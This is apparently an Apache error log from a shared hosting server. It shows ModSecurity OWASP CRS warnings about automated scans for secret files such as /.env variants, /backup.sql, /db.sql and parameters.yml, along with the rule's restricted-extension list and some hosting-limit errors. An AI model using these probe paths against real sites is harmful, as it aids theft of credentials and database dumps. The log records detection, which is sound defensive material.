[Fri Jul 17 08:27:03.749011 2026] [security2:error] [pid 1993574:tid 1993574] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almZ_90t9Kb_MdNxrg6-gQAAAAM"]
[Fri Jul 17 08:27:03.749073 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.237.16.185:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almZ_wPhWp7RzB65h36eegAAAA0"]
[Fri Jul 17 08:27:03.749231 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:03.749444 2026] [security2:error] [pid 1993574:tid 1993574] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_90t9Kb_MdNxrg6-gQAAAAM"]
[Fri Jul 17 08:27:03.749555 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almZ_wPhWp7RzB65h36eegAAAA0"]
[Fri Jul 17 08:27:03.749699 2026] [hostinglimits:warn] [pid 2008451:tid 2008451] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(vraasbackdev.ksoft.web.lk) URL(/index.php) TID(2008451) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:03.749893 2026] [security2:error] [pid 2008451:tid 2008451] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_wPhWp7RzB65h36eegAAAA0"]
[Fri Jul 17 08:27:03.751444 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.237.16.185:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almZ_2idQp3SsqeycPEsiQAAAAo"]
[Fri Jul 17 08:27:03.751784 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almZ_2idQp3SsqeycPEsiQAAAAo"]
[Fri Jul 17 08:27:03.751980 2026] [hostinglimits:warn] [pid 1993998:tid 1993998] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993998) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:03.752199 2026] [security2:error] [pid 1993998:tid 1993998] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_2idQp3SsqeycPEsiQAAAAo"]
[Fri Jul 17 08:27:03.757404 2026] [hostinglimits:warn] [pid 2002425:tid 2002425] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(vraasbackdev.ksoft.web.lk) URL(/index.php) TID(2002425) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:03.763489 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.237.16.185:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almZ_3jA8yK8B7kryx3hZgAAAAk"]
[Fri Jul 17 08:27:03.764033 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almZ_3jA8yK8B7kryx3hZgAAAAk"]
[Fri Jul 17 08:27:03.764506 2026] [hostinglimits:warn] [pid 1993570:tid 1993570] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993570) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:03.764801 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_3jA8yK8B7kryx3hZgAAAAk"]
[Fri Jul 17 08:27:03.793003 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:03.833003 2026] [hostinglimits:warn] [pid 2008451:tid 2008451] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(vraasbackdev.ksoft.web.lk) URL(/index.php) TID(2008451) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:03.908953 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.237.16.185:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almZ_4l9vhFBGA6D8l92HAAAAAw"]
[Fri Jul 17 08:27:03.909142 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.237.16.185:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almZ_4l9vhFBGA6D8l92HAAAAAw"]
[Fri Jul 17 08:27:03.909376 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almZ_4l9vhFBGA6D8l92HAAAAAw"]
[Fri Jul 17 08:27:03.929105 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.237.16.185:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almZ_3jA8yK8B7kryx3hZwAAAAk"]
[Fri Jul 17 08:27:03.929339 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almZ_3jA8yK8B7kryx3hZwAAAAk"]
[Fri Jul 17 08:27:03.929451 2026] [hostinglimits:warn] [pid 1993570:tid 1993570] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/269961156bcd2f60c579ade7873d799db3e840f7.sock|fcgi://vraasbackdev.ksoft.web.lk) HOSTNAME(vraasbackdev.ksoft.web.lk) URL(/index.php) TID(1993570) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:03.929595 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_3jA8yK8B7kryx3hZwAAAAk"]
[Fri Jul 17 08:27:04.151289 2026] [security2:error] [pid 1994446:tid 1994446] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_12NhE8i6ppze4etkgAAAAs"]
[Fri Jul 17 08:27:04.546663 2026] [security2:error] [pid 2005917:tid 2005917] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_3f2WrySr2miwA73WAAAABY"]
[Fri Jul 17 08:27:04.665234 2026] [cgi:error] [pid 1994446:tid 1994446] [client 47.236.184.50:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 08:27:04.665334 2026] [cgi:error] [pid 1994446:tid 1994446] [client 47.236.184.50:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 08:27:04.776533 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_3t8zp89pALg8Q5k5gAAAA4"]
[Fri Jul 17 08:27:05.165698 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_3RlmrtCoY_COpciTAAAAAg"]
[Fri Jul 17 08:27:05.442115 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_0hq6UAnqYko0LpXDAAAABE"]
[Fri Jul 17 08:27:05.754062 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_xAi3pC6yjXGNq19BwAAAAU"]
[Fri Jul 17 08:27:06.052495 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_41dLClkUfK_dfHhQwAAAAI"]
[Fri Jul 17 08:27:06.950436 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.237.16.185:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almZ_4l9vhFBGA6D8l92HAAAAAw"]
[Fri Jul 17 08:27:07.873258 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:52078] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:07.955699 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.163.43.174:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "venee.lk"] [uri "/.env.production"] [unique_id "almaA3f2WrySr2miwA73WwAAABY"]
[Fri Jul 17 08:27:07.955963 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/.env.production"] [unique_id "almaA3f2WrySr2miwA73WwAAABY"]
[Fri Jul 17 08:27:07.956475 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/.env.production"] [unique_id "almaA3f2WrySr2miwA73WwAAABY"]
[Fri Jul 17 08:27:08.022453 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.43.174:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "venee.lk"] [uri "/.env"] [unique_id "almaBEhq6UAnqYko0LpXDgAAABE"]
[Fri Jul 17 08:27:08.022693 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/.env"] [unique_id "almaBEhq6UAnqYko0LpXDgAAABE"]
[Fri Jul 17 08:27:08.022971 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/.env"] [unique_id "almaBEhq6UAnqYko0LpXDgAAABE"]
